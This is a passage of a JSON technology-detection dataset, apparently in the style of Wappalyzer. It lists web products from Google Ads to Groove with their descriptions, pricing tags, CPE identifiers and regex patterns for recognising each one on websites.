advertising platform developed by Google.\",\n    \"icon\": \"Google Ads.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ads.google.com\"\n  },\n  \"Google Ads Conversion Tracking\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Google Ads Conversion Tracking is a free tool that shows you what happens after a customer interacts with your ads.\",\n    \"icon\": \"Google.svg\",\n    \"implies\": [\n      \"Google Ads\"\n    ],\n    \"js\": {\n      \"google_trackConversion\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.googleadservices\\\\.com/pagead/conversion_async\\\\.js\"\n    ],\n    \"scripts\": [\n      \"gtag\\\\([^)]+'(AW-)\"\n    ],\n    \"website\": \"https://support.google.com/google-ads/answer/1722022\"\n  },\n  \"Google Analytics\": {\n    \"cats\": [\n      10\n    ],\n    \"cookies\": {\n      \"__utma\": \"\",\n      \"_ga\": \"\",\n      \"_ga_*\": \"\\\\;version:GA4\",\n      \"_gat\": \"\\\\;version:UA\"\n    },\n    \"description\": \"Google Analytics is a free web analytics service that tracks and reports website traffic.\",\n    \"dom\": [\n      \"amp-analytics[type*=googleanalytics]\"\n    ],\n    \"icon\": \"Google Analytics.svg\",\n    \"js\": {\n      \"GoogleAnalyticsObject\": \"\",\n      \"gaGlobal\": \"\"\n    },\n    \"scriptSrc\": [\n      \"google-analytics\\\\.com/(?:ga|urchin|analytics)\\\\.js\",\n      \"googletagmanager\\\\.com/gtag/js\"\n    ],\n    \"scripts\": [\n      \"gtag\\\\([^)]+'(UA-)\\\\;version:\\\\1?UA:\",\n      \"gtag\\\\([^)]+'(G-)\\\\;version:\\\\1?GA4:\"\n    ],\n    \"website\": \"https://google.com/analytics\"\n  },\n  \"Google Analytics Enhanced eCommerce\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Google analytics enhanced ecommerce is a plug-in which enables the measurement of user interactions with products on ecommerce websites.\",\n    \"icon\": \"Google Analytics.svg\",\n    \"implies\": [\n      \"Google Analytics\",\n      \"Cart Functionality\"\n    ],\n    \"js\": {\n      \"gaplugins.EC\": \"\"\n    },\n    \"scriptSrc\": [\n      \"google-analytics\\\\.com\\\\/plugins\\\\/ua\\\\/(?:ec|ecommerce)\\\\.js\"\n    ],\n    \"website\": \"https://developers.google.com/analytics/devguides/collection/analyticsjs/enhanced-ecommerce\"\n  },\n  \"Google App Engine\": {\n    \"cats\": [\n      22\n    ],\n    \"icon\": \"Google App Engine.svg\",\n    \"website\": \"https://cloud.google.com/appengine\"\n  },\n  \"Google Call Conversion Tracking\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Google Call Conversion Tracking is conversion tracking that shows which search keywords are driving the most calls.\",\n    \"icon\": \"Google.svg\",\n    \"js\": {\n      \"_googCallTrackingImpl\": \"\",\n      \"google_wcc_status\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"gstatic\\\\.com/call-tracking/.+\\\\.js\"\n    ],\n    \"website\": \"https://support.google.com/google-ads/answer/6100664\"\n  },\n  \"Google Charts\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"Google Charts is an interactive web service that creates graphical charts from user-supplied information.\",\n    \"icon\": \"Google Charts.png\",\n    \"js\": {\n      \"__googleVisualizationAbstractRendererElementsCount__\": \"\",\n      \"__gvizguard__\": \"\"\n    },\n    \"website\": \"https://developers.google.com/chart/\"\n  },\n  \"Google Cloud\": {\n    \"cats\": [\n      63\n    ],\n    \"cpe\": \"cpe:2.3:a:google:cloud_platform:*:*:*:*:*:*:*:*\",\n    \"description\": \"Google Cloud is a suite of cloud computing services.\",\n    \"icon\": \"Google Cloud.svg\",\n    \"website\": \"https://cloud.google.com\"\n  },\n  \"Google Cloud CDN\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Cloud CDN uses Google's global edge network to serve content closer to users.\",\n    \"headers\": {\n      \"Via\": \"^1\\\\.1 google$\"\n    },\n    \"icon\": \"google-cloud-cdn.svg\",\n    \"implies\": [\n      \"Google Cloud\"\n    ],\n    \"website\": \"https://cloud.google.com/cdn\"\n  },\n  \"Google Cloud Storage\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Google Cloud Storage allows world-wide storage and retrieval of any amount of data at any time.\",\n    \"headers\": {\n      \"x-goog-storage-class\": \"^\\\\w+$\"\n    },\n    \"icon\": \"google-cloud-storage.svg\",\n    \"implies\": [\n      \"Google Cloud\"\n    ],\n    \"website\": \"https://cloud.google.com/storage\"\n  },\n  \"Google Cloud Trace\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"Google Cloud Trace is a distributed tracing system that collects latency data from applications and displays it in the Google Cloud Console.\",\n    \"headers\": {\n      \"x-cloud-trace-context\": \"\"\n    },\n    \"icon\": \"google-cloud-trace.svg\",\n    \"implies\": [\n      \"Google Cloud\"\n    ],\n    \"website\": \"https://cloud.google.com/trace\"\n  },\n  \"Google Code Prettify\": {\n    \"cats\": [\n      19\n    ],\n    \"icon\": \"Google.svg\",\n    \"js\": {\n      \"prettyPrint\": \"\"\n    },\n    \"website\": \"https://code.google.com/p/google-code-prettify\"\n  },\n  \"Google Customer Reviews\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Google Customer Reviews is a badge on your site that can help users identify your site with the Google brand and can be placed on any page of your site.\",\n    \"dom\": [\n      \"iframe[src*='.google.com/shopping/customerreviews/'], a[href*='.google.com/shopping/customerreviews/'][target='_blank']\"\n    ],\n    \"icon\": \"Google.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"website\": \"https://support.google.com/merchants/answer/7105655?hl=en\"\n  },\n  \"Google Font API\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"Google Font API is a web service that supports open-source font files that can be used on your web designs.\",\n    \"dom\": {\n      \"link[href*='fonts.g']\": {\n        \"attributes\": {\n          \"href\": \"fonts\\\\.(?:googleapis|google|gstatic)\\\\.com\"\n        }\n      },\n      \"style[data-href*='fonts.g']\": {\n        \"attributes\": {\n          \"data-href\": \"fonts\\\\.(?:googleapis|google|gstatic)\\\\.com\"\n        }\n      }\n    },\n    \"icon\": \"Google Font API.svg\",\n    \"js\": {\n      \"WebFonts\": \"\"\n    },\n    \"scriptSrc\": [\n      \"googleapis\\\\.com/.+webfont\"\n    ],\n    \"website\": \"https://google.com/fonts\"\n  },\n  \"Google Forms\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"Google Forms is a free online form builder that allows you to create and publish online forms, surveys, quizzes, order forms, and more.\",\n    \"dom\": [\n      \"form[action*='docs.google.com/forms/']\"\n    ],\n    \"icon\": \"Google Forms.svg\",\n    \"website\": \"https://www.google.com/forms/about/\"\n  },\n  \"Google Hosted Libraries\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"Google Hosted Libraries is a stable, reliable, high-speed, globally available content distribution network for the most popular, open-source JavaScript libraries.\",\n    \"dom\": [\n      \"link[href*='ajax.googleapis.com/ajax/libs']\"\n    ],\n    \"icon\": \"Google Developers.svg\",\n    \"scriptSrc\": [\n      \"ajax\\\\.googleapis\\\\.com/ajax/libs/\"\n    ],\n    \"website\": \"https://developers.google.com/speed/libraries\"\n  },\n  \"Google Maps\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"Google Maps is a web mapping service. It offers satellite imagery, aerial photography, street maps, 360° interactive panoramic views of streets, real-time traffic conditions, and route planning for traveling by foot, car, bicycle and air, or public transportation.\",\n    \"dom\": [\n      \"iframe[src*='google.com/maps']\"\n    ],\n    \"icon\": \"Google Maps.svg\",\n    \"js\": {\n      \"GoogleMap\": \"\",\n      \"googleMapsConfig\": \"\"\n    },\n    \"scriptSrc\": [\n      \"(?:maps\\\\.google\\\\.com/maps\\\\?file=api(?:&v=([\\\\d.]+))?|maps\\\\.google\\\\.com/maps/api/staticmap)\\\\;version:API v\\\\1\",\n      \"//maps\\\\.google(?:apis)?\\\\.com/maps/api/js\"\n    ],\n    \"website\": \"https://maps.google.com\"\n  },\n  \"Google My Business\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"Google.svg\",\n    \"url\": [\n      \"https?://[^.]+\\\\.business\\\\.site\"\n    ],\n    \"website\": \"https://www.google.com/business/website-builder\"\n  },\n  \"Google Optimize\": {\n    \"cats\": [\n      74\n    ],\n    \"description\": \"Google Optimize allows you to test variants of web pages and see how they perform.\",\n    \"icon\": \"Google Optimize.svg\",\n    \"js\": {\n      \"google_optimize\": \"\"\n    },\n    \"scriptSrc\": [\n      \"googleoptimize\\\\.com/optimize\\\\.js\"\n    ],\n    \"website\": \"https://optimize.google.com\"\n  },\n  \"Google PageSpeed\": {\n    \"cats\": [\n      23,\n      33,\n      92\n    ],\n    \"description\": \"Google PageSpeed is a family of tools designed to help websites performance optimisations.\",\n    \"headers\": {\n      \"X-Mod-Pagespeed\": \"([\\\\d.]+)\\\\;version:\\\\1\",\n      \"X-Page-Speed\": \"(.+)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Google PageSpeed.svg\",\n    \"website\": \"https://developers.google.com/speed/pagespeed/mod\"\n  },\n  \"Google Pay\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Google Pay is a digital wallet platform and online payment system developed by Google to power in-app and tap-to-pay purchases on mobile devices, enabling users to make payments with Android phones, tablets or watches.\",\n    \"dom\": [\n      \"[aria-labelledby='pi-google_pay'], ul[data-shopify-buttoncontainer] li\"\n    ],\n    \"icon\": \"Google.svg\",\n    \"scriptSrc\": [\n      \"pay\\\\.google\\\\.com/([a-z/]+)/pay\\\\.js\"\n    ],\n    \"website\": \"https://pay.google.com\"\n  },\n  \"Google Publisher Tag\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Google Publisher Tag (GPT) is an ad tagging library for Google Ad Manager which is used to dynamically build ad requests.\",\n    \"icon\": \"Google Developers.svg\",\n    \"scriptSrc\": [\n      \"googletagservices\\\\.com/tag/js/gpt\\\\.js\",\n      \"securepubads\\\\.g\\\\.doubleclick.net/tag/js/gpt\\\\.js\",\n      \"pagead2\\\\.googlesyndication\\\\.com/tag/js/gpt\\\\.js\"\n    ],\n    \"website\": \"https://developers.google.com/publisher-tag/guides/get-started\"\n  },\n  \"Google Sign-in\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"Google Sign-In is a secure authentication system that reduces the burden of login for users, by enabling them to sign in with their Google account.\",\n    \"dom\": [\n      \"iframe[src*='accounts.google.com/o/oauth2'], a[href*='accounts.google.com/o/oauth2']\"\n    ],\n    \"icon\": \"Google.svg\",\n    \"js\": {\n      \"googleSignInClientId\": \"\"\n    },\n    \"meta\": {\n      \"google-signin-client_id\": \"\",\n      \"google-signin-scope\": \"\"\n    },\n    \"scriptSrc\": [\n      \"accounts\\\\.google\\\\.com/gsi/client\"\n    ],\n    \"website\": \"https://developers.google.com/identity/sign-in/web\"\n  },\n  \"Google Sites\": {\n    \"cats\": [\n      1\n    ],\n    \"dom\": [\n      \"[data-abuse-proto*='https://sites.google.com/']\"\n    ],\n    \"icon\": \"Google Sites.svg\",\n    \"url\": [\n      \"^https?://sites\\\\.google\\\\.com\"\n    ],\n    \"website\": \"https://sites.google.com\"\n  },\n  \"Google Tag Manager\": {\n    \"cats\": [\n      42\n    ],\n    \"description\": \"Google Tag Manager is a tag management system (TMS) that allows you to quickly and easily update measurement codes and related code fragments collectively known as tags on your website or mobile app.\",\n    \"html\": [\n      \"googletagmanager\\\\.com/ns\\\\.html[^>]+></iframe>\",\n      \"<!-- (?:End )?Google Tag Manager -->\"\n    ],\n    \"icon\": \"Google Tag Manager.svg\",\n    \"js\": {\n      \"google_tag_data\": \"\",\n      \"google_tag_manager\": \"\",\n      \"googletag\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"googletagmanager\\\\.com/gtm\\\\.js\",\n      \"\\\\.googletagmanager\\\\.com/\"\n    ],\n    \"website\": \"https://www.google.com/tagmanager\"\n  },\n  \"Google Tag Manager for WordPress\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Google Tag Manager for WordPress plugin places the GTM container code snippets onto your wordpress website so that you do not need to add this manually.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/duracelltomi-google-tag-manager/']\"\n    ],\n    \"icon\": \"Google Tag Manager for WordPress.svg\",\n    \"implies\": [\n      \"Google Tag Manager\"\n    ],\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/duracelltomi-google-tag-manager/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://gtm4wp.com\"\n  },\n  \"Google Wallet\": {\n    \"cats\": [\n      41\n    ],\n    \"icon\": \"Google Wallet.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"checkout\\\\.google\\\\.com\",\n      \"wallet\\\\.google\\\\.com\"\n    ],\n    \"website\": \"https://wallet.google.com\"\n  },\n  \"Google Web Server\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:google:web_server:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"gws\"\n    },\n    \"icon\": \"Google.svg\",\n    \"website\": \"https://en.wikipedia.org/wiki/Google_Web_Server\"\n  },\n  \"Google Web Toolkit\": {\n    \"cats\": [\n      18\n    ],\n    \"cpe\": \"cpe:2.3:a:google:web_toolkit:*:*:*:*:*:*:*:*\",\n    \"description\": \"Google Web Toolkit (GWT) is an open-source Java software development framework that makes writing AJAX applications.\",\n    \"icon\": \"Google Web Toolkit.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"js\": {\n      \"__gwt_\": \"\",\n      \"__gwt_activeModules\": \"\",\n      \"__gwt_getMetaProperty\": \"\",\n      \"__gwt_isKnownPropertyValue\": \"\",\n      \"__gwt_stylesLoaded\": \"\",\n      \"__gwtlistener\": \"\"\n    },\n    \"meta\": {\n      \"gwt:property\": \"\"\n    },\n    \"website\": \"https://developers.google.com/web-toolkit\"\n  },\n  \"Google Workspace\": {\n    \"cats\": [\n      30,\n      75\n    ],\n    \"description\": \"Google Workspace, formerly G Suite, is a collection of cloud computing, productivity and collaboration tools.\",\n    \"dns\": {\n      \"MX\": [\n        \"aspmx\\\\.l\\\\.google\\\\.com\",\n        \"googlemail\\\\.com\"\n      ]\n    },\n    \"icon\": \"Google.svg\",\n    \"website\": \"https://workspace.google.com/\"\n  },\n  \"Gorgias\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Gorgias is a helpdesk and chat solution designed for ecommerce stores.\",\n    \"icon\": \"Gorgias.svg\",\n    \"js\": {\n      \"gorgiasChat\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.gorgias.com/\"\n  },\n  \"GotiPath\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"GotiPath is a content delivery network (CDN) provider that is associated with telecom giant Telekom Malaysia Berhad.\",\n    \"dom\": [\n      \"img[src*='.gotipath.com/'], link[href*='.gpcdn.net/']\"\n    ],\n    \"headers\": {\n      \"X-Cache\": \"\\\\.swiftserve\\\\.com\"\n    },\n    \"icon\": \"GotiPath.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"poa\",\n      \"payg\"\n    ],\n    \"website\": \"https://gotipath.com\"\n  },\n  \"Govalo\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Govalo is a software startup company that builds a Shopify app.\",\n    \"icon\": \"Govalo.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"Govalo.meta\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.shopify\\\\.com/extensions/.+/([\\\\d\\\\.]+)/assets/govalo\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://govalo.com\"\n  },\n  \"Grab Pay Later\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Grab Pay Later is a buy now pay later solution offered by Grab.\",\n    \"icon\": \"Grab.svg\",\n    \"js\": {\n      \"GrabWidget\": \"\",\n      \"grab_widget_money_format\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"grab-paylater\\\\.js\"\n    ],\n    \"website\": \"https://www.grab.com/sg/finance/pay-later/\"\n  },\n  \"Grade.us\": {\n    \"cats\": [\n      32,\n      90\n    ],\n    \"description\": \"Grade.us is a review management platform for marketing agencies.\",\n    \"dom\": [\n      \"script#gradeus-wjs, iframe[src*='www.grade.us']\"\n    ],\n    \"icon\": \"GradeUs.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.grade\\\\.us\"\n    ],\n    \"website\": \"https://www.grade.us\"\n  },\n  \"Grafana\": {\n    \"cats\": [\n      10\n    ],\n    \"cpe\": \"cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*\",\n    \"description\": \"Grafana is a multi-platform open source analytics and interactive visualisation web application.\",\n    \"icon\": \"Grafana.svg\",\n    \"implies\": [\n      \"Go\",\n      \"Macaron\"\n    ],\n    \"js\": {\n      \"__grafana_public_path__\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"grafana\\\\..+\\\\.com/public/build/\"\n    ],\n    \"scripts\": [\n      \".+latestVersion\\\":\\\"[\\\\d\\\\.\\\\w\\\\-]+\\\"\\\\,\\\"version\\\":\\\"([\\\\d\\\\.]+)\\\\;version:\\\\1\\\\;confidence:75\"\n    ],\n    \"website\": \"https://grafana.com\"\n  },\n  \"Graffiti CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"graffitibot\": \"\"\n    },\n    \"icon\": \"Graffiti CMS.png\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"meta\": {\n      \"generator\": \"Graffiti CMS ([^\\\"]+)\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"/graffiti\\\\.js\"\n    ],\n    \"website\": \"https://graffiticms.codeplex.com\"\n  },\n  \"GrandNode\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"Grand.customer\": \"\"\n    },\n    \"html\": [\n      \"(?:<!--GrandNode |<a[^>]+grandnode - Powered by |Powered by: <a[^>]+nopcommerce)\"\n    ],\n    \"icon\": \"GrandNode.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"meta\": {\n      \"generator\": \"grandnode\"\n    },\n    \"website\": \"https://grandnode.com\"\n  },\n  \"Granim.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Granim.js is a lightweight javascript library to create fluid and interactive gradients animations.\",\n    \"icon\": \"default.svg\",\n    \"js\": {\n      \"Granim\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://sarcadass.github.io/granim.js\"\n  },\n  \"GrapesJS\": {\n    \"cats\": [\n      51,\n      18\n    ],\n    \"cpe\": \"cpe:2.3:a:grapesjs:grapesjs:*:*:*:*:*:node.js:*:*\",\n    \"description\": \"GrapesJS is an open-source, multi-purpose page builder which combines different plugins and intuitive drag and drop interface.\",\n    \"icon\": \"GrapesJS.svg\",\n    \"js\": {\n      \"grapesjs.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://grapesjs.com\"\n  },\n  \"GraphCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"GraphCMS is a GraphQL headless CMS for content federation and omnichannel headless content management.\",\n    \"dom\": {\n      \".graphcms-image-wrapper\": {\n        \"text\": \"\"\n      },\n      \"img[src*='media.graphcms.com']\": {\n        \"text\": \"\"\n      }\n    },\n    \"icon\": \"GraphCMS.svg\",\n    \"implies\": [\n      \"GraphQL\",\n      \"PostgreSQL\",\n      \"Go\",\n      \"TypeScript\"\n    ],\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"website\": \"https://graphcms.com\",\n    \"xhr\": [\n      \"\\\\.graphcms\\\\.com\"\n    ]\n  },\n  \"GraphQL\": {\n    \"cats\": [\n      27\n    ],\n    \"cpe\": \"cpe:2.3:a:graphql:graphql:*:*:*:*:*:*:*:*\",\n    \"description\": \"GraphQL is a query language for APIs and a runtime for fulfilling those queries with your existing data.\",\n    \"icon\": \"GraphQL.svg\",\n    \"meta\": {\n      \"store-config\": \"graphqlMethod\"\n    },\n    \"oss\": true,\n    \"website\": \"https://graphql.org\",\n    \"xhr\": [\n      \"graphql\\\\.[\\\\w]+\\\\.(?:com|net)/\"\n    ]\n  },\n  \"Graphene\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Graphene is a WordPress theme created by Graphene Themes.\",\n    \"icon\": \"Graphene Themes.png\",\n    \"js\": {\n      \"grapheneGetInfScrollBtnLbl\": \"\",\n      \"grapheneJS.templateUrl\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/graphene(?:-plus)?/.+graphene\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.graphene-theme.com/graphene-theme\"\n  },\n  \"Graphly\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Graphly is a visual reporting and business intelligence platform.\",\n    \"icon\": \"Graphly.svg\",\n    \"js\": {\n      \"GraphlyTracking\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://graphly.io\"\n  },\n  \"Grasp\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Grasp is a customer support software company that offers a cloud-based helpdesk and live chat solution for businesses of all sizes.\",\n    \"icon\": \"Grasp.svg\",\n    \"js\": {\n      \"CASENGO.widget\": \"\",\n      \"CASENGO_INLINE_COOKIE\": \"\",\n      \"casengoUpdateWidget\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.getgrasp.com\"\n  },\n  \"Grav\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*\",\n    \"description\": \"Grav is a modern, open-source flat-file CMS designed for speed and flexibility, enabling easy website creation and management without needing a database.\",\n    \"icon\": \"Grav.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"GravCMS(?:\\\\s([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://getgrav.org\"\n  },\n  \"Gravatar\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Gravatar is a service for providing globally unique avatars.\",\n    \"html\": [\n      \"<[^>]+gravatar\\\\.com/avatar/\"\n    ],\n    \"icon\": \"Gravatar.svg\",\n    \"js\": {\n      \"Gravatar\": \"\"\n    },\n    \"website\": \"https://gravatar.com\"\n  },\n  \"Gravitec\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Gravitec is a push notification tool.\",\n    \"icon\": \"Gravitec.svg\",\n    \"js\": {\n      \"Gravitec\": \"\",\n      \"gravitecWebpackJsonp\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:cdn|id)\\\\.gravitec\\\\.(?:media|net)\"\n    ],\n    \"website\": \"https://gravitec.net\"\n  },\n  \"Gravity Forms\": {\n    \"cats\": [\n      87,\n      110\n    ],\n    \"html\": [\n      \"<div class=(?:\\\"|')[^>]*gform_wrapper\",\n      \"<div class=(?:\\\"|')[^>]*gform_body\",\n      \"<ul [^>]*class=(?:\\\"|')[^>]*gform_fields\",\n      \"<link [^>]*href=(?:\\\"|')[^>]*wp-content/plugins/gravityforms/css/\"\n    ],\n    \"icon\": \"gravityforms.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/gravityforms/js/[^/]+\\\\.js\\\\?ver=([\\\\d.]+)$\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://gravityforms.com\"\n  },\n  \"GreatPages\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"GreatPages is a multi-purpose page builder software developed in Brazil.\",\n    \"icon\": \"GreatPages.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.greatpages\\\\.com\\\\.br/\"\n    ],\n    \"website\": \"https://www.greatpages.com.br\"\n  },\n  \"Green Valley CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"html\": [\n      \"<img[^>]+/dsresource\\\\?objectid=\"\n    ],\n    \"icon\": \"Green Valley CMS.png\",\n    \"implies\": [\n      \"Apache Tomcat\"\n    ],\n    \"meta\": {\n      \"DC.identifier\": \"/content\\\\.jsp\\\\?objectid=\"\n    },\n    \"website\": \"https://www.greenvalley.nl/Public/Producten/Content_Management/CMS\"\n  },\n  \"GreenStory\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"GreenStory is a supply chain transparency analytics tool that helps businesses track and report on their supply chain operations.\",\n    \"icon\": \"GreenStory.svg\",\n    \"js\": {\n      \"webpackJsonpGreenStoryWidgets\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.greenstory\\\\.ca/\"\n    ],\n    \"website\": \"https://www.greenstory.io\"\n  },\n  \"Greenhouse\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Greenhouse is an applicant tracking and hiring tool. Greenhouse features automated workflow, recruitment analytics, CRM, and onboarding.\",\n    \"icon\": \"Greenhouse.svg\",\n    \"js\": {\n      \"populateGreenhouseJobs\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.greenhouse\\\\.io/\"\n    ],\n    \"website\": \"https://www.greenhouse.io\"\n  },\n  \"Griddo\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Griddo is an Martech Experience Platform for creating custom digital experiences.\",\n    \"icon\": \"Griddo.svg\",\n    \"implies\": [\n      \"React\",\n      \"Gatsby\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Griddo$\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://griddo.io\"\n  },\n  \"Gridsome\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"Gridsome is a free and open-source Vue-powered static site generator for building static websites.\",\n    \"icon\": \"Gridsome.svg\",\n    \"implies\": [\n      \"Vue.js\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Gridsome v([\\\\d.]+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://gridsome.org\"\n  },\n  \"Gridster\": {\n    \"cats\": [\n      5,\n      12\n    ],\n    \"description\": \"Gridster is a jQuery plugin used to draw dashboards with drag-and-drop widgets.\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"Gridster\": \"\",\n      \"GridsterCollision\": \"\",\n      \"GridsterCoords\": \"\",\n      \"GridsterDraggable\": \"\"\n    },\n    \"oss\": true,\n    \"saas\": true,\n    \"website\": \"https://dsmorse.github.io/gridster.js\"\n  },\n  \"Grin\": {\n    \"cats\": [\n      32\n    ],\n    \"cpe\": \"cpe:2.3:a:grin:grin:*:*:*:*:*:*:*:*\",\n    \"description\": \"Grin is a influence marketing platform.\",\n    \"icon\": \"Grin.svg\",\n    \"js\": {\n      \"Grin\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"grin-sdk\\\\.js\"\n    ],\n    \"website\": \"https://grin.co/\"\n  },\n  \"GrocerKey\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"GrocerKey is an ecommerce platform that helps grocery stores build an online store.\",\n    \"icon\": \"GrocerKey.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.grocerywebsite\\\\.com/\",\n      \"grocerkey-widget\\\\.s3\\\\.amazonaws\\\\.com/\"\n    ],\n    \"website\": \"https://grocerkey.com\"\n  },\n  \"Groobee\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Groobee is a solution for personalized ecommerce marketing, offering features to support customer personalization.\",\n    \"icon\": \"Groobee.svg\",\n    \"js\": {\n      \"groobee\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.groobee\\\\.io/\"\n    ],\n    \"website\": \"https://groobee.net\"\n  },\n  \"Groove\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Groove is a help desk software offering a shared inbox, knowledge base, and chat features.\",\n    \"icon\": \"Groove.svg\",\n    \"js\": {\n      \"Groove\": \"\",\n      \"GrooveWidget\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.groovehq\\\\.com/\"\n    ],\n    \"website\": \"https://www.groovehq.com\"\n  },\n  